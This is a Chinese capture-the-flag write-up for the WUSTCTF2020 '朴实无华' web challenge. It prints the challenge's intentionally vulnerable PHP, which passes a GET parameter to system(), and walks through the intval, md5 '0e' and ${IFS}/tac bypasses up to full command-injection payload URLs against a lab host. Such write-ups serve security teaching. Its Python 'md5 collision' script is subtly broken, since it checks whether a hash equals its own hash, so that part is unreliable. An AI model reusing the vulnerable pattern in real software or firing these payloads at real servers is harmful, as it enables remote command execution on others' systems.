[WUSTCTF2020]朴实无华1

知识点: 1. 目录扫描

             2. burp抓包

             3. 弱类型比较绕过 

             4. 科学计数法,md5碰撞        

             5. 系统命令以及空格的替换

用dirsearch 扫一下目录 ~

dirsearch -e txt,bak,zip,tgz -u ip -t 30

那么看一下这个robots.txt文件~

那继续访问fAke_flagggg.php~

服了,老六~

抓个包看看

发现了一个新的 地址fl4g.php

那就访问一下~

找到源码了~

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

开始代码审计~

需要绕过三个if~

第一个用到了intval()~

需要绕过 intval($num) < 2020 && intval($num + 1) > 2021 可以通过num=2e5(浮点数)来绕过

在php的7.0以下版本在intval()处理科学计数法的表示的字符串的时候,他会取e前面的数字部分作为整数部分进行转换比如:输入2e5 则会转化为 2.

而对于2e5+1输入时php会先处理2e5+1进行浮点数运算结果为200001.0后进行int类型转换为200001.

<?php  
// PHP 7.0 以下版本的行为  
  
// intval() 对科学计数法字符串的处理  
$scientificNotation = "2e5";  
$intValue = intval($scientificNotation);  
echo $intValue; // 输出 2,因为只取了 "e" 前面的数字  
  
// 浮点数运算和 intval() 的结合  
$floatResult = "2e5" + 1; // 这会首先进行浮点数运算,得到 200001.0  
$intValueAfterFloatOperation = intval($floatResult);  
echo $intValueAfterFloatOperation; // 输出 200001,因为 intval() 将浮点数转换为了整数  
  
// 注意:这里的 "2e5 + 数字" 表达式本身不会返回字符串类型,而是浮点数  
// 只有当你试图将其转换为字符串(例如使用 strval())并以某种方式拼接时,它才会成为字符串的一部分  
?>

开始绕过第二个~ 

要绕过$md5==md5($md5).

可以输入md5=0e215962017,那么md5($md5)=0e291242476940776845150308577824,两个结果都是以0e开头通过弱类型比较,0e215962017和0e291242476940776845150308577824都会被当作科学计数法中的0来处理,因为e后面的数字太大,被当作0处理。所以根据PHP的类型转换规则,这两个数被认为是相等的,因此表达式成立,下面是本关md5碰撞的python代码~

import hashlib

def find_special_input():
    num = 0
    while True:
        input_str = '0e{:d}'.format(num)
        hash_str = hashlib.md5(input_str.encode()).hexdigest()
        if hash_str[:2] == '0e' and hash_str[2:].isdigit():
            if hash_str == hashlib.md5(hash_str.encode()).hexdigest():
                return input_str, hash_str
        num += 1

input_str, hash_str = find_special_input()
print("Input String:", input_str)
print("MD5 Hash:", hash_str)

开始绕过第三个~

第三个就很简单了,只需绕过空格和cat

空格可以用${IFS}$9来替换~

cat可以用more,tac来代替~

最后让我们开始构造payload~

http://c48c47bc-8460-4fbf-bf8f-a69b919a730c.node5.buuoj.cn:81/fl4g.php/?num=2e5&md5=0e215962017&get_flag=ls

http://c48c47bc-8460-4fbf-bf8f-a69b919a730c.node5.buuoj.cn:81/fl4g.php/?num=2e5&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

得到flag值,游戏结束~

  • 20
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值